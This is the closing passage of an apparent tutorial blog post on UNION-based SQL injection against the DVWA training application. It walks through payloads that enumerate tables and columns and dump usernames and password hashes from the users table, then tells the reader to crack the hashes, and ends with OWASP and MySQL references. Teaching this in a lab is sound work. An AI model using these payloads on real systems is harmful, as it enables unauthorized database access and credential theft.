    ' union select null, TABLE_NAME from INFORMATION_SCHEMA.TABLES-- -
    It gives a huge number of tables that are present in dvwa database. But what we are really interested in is the users table as it is most likely to contain user passwords. But first we need to determine columns of that table and we will do that by querying INFORMATION_SCHEMA.COLUMNS like this:
    ' union select null, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users'-- -

    We can see the password column in the output now lets get those passwords:
    ' union select user, password from users-- -
    Of-course those are the hashes and not plain text passwords. You need to crack them.
    Hope you learned something about SQL injection in this article. See you next time.

    References:

    1. SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
    2. MySQL UNION: https://www.mysqltutorial.org/sql-union-mysql.aspx
    3. Chapter 25 INFORMATION_SCHEMA Tables: https://dev.mysql.com/doc/refman/8.0/en/information-schema.html

    More information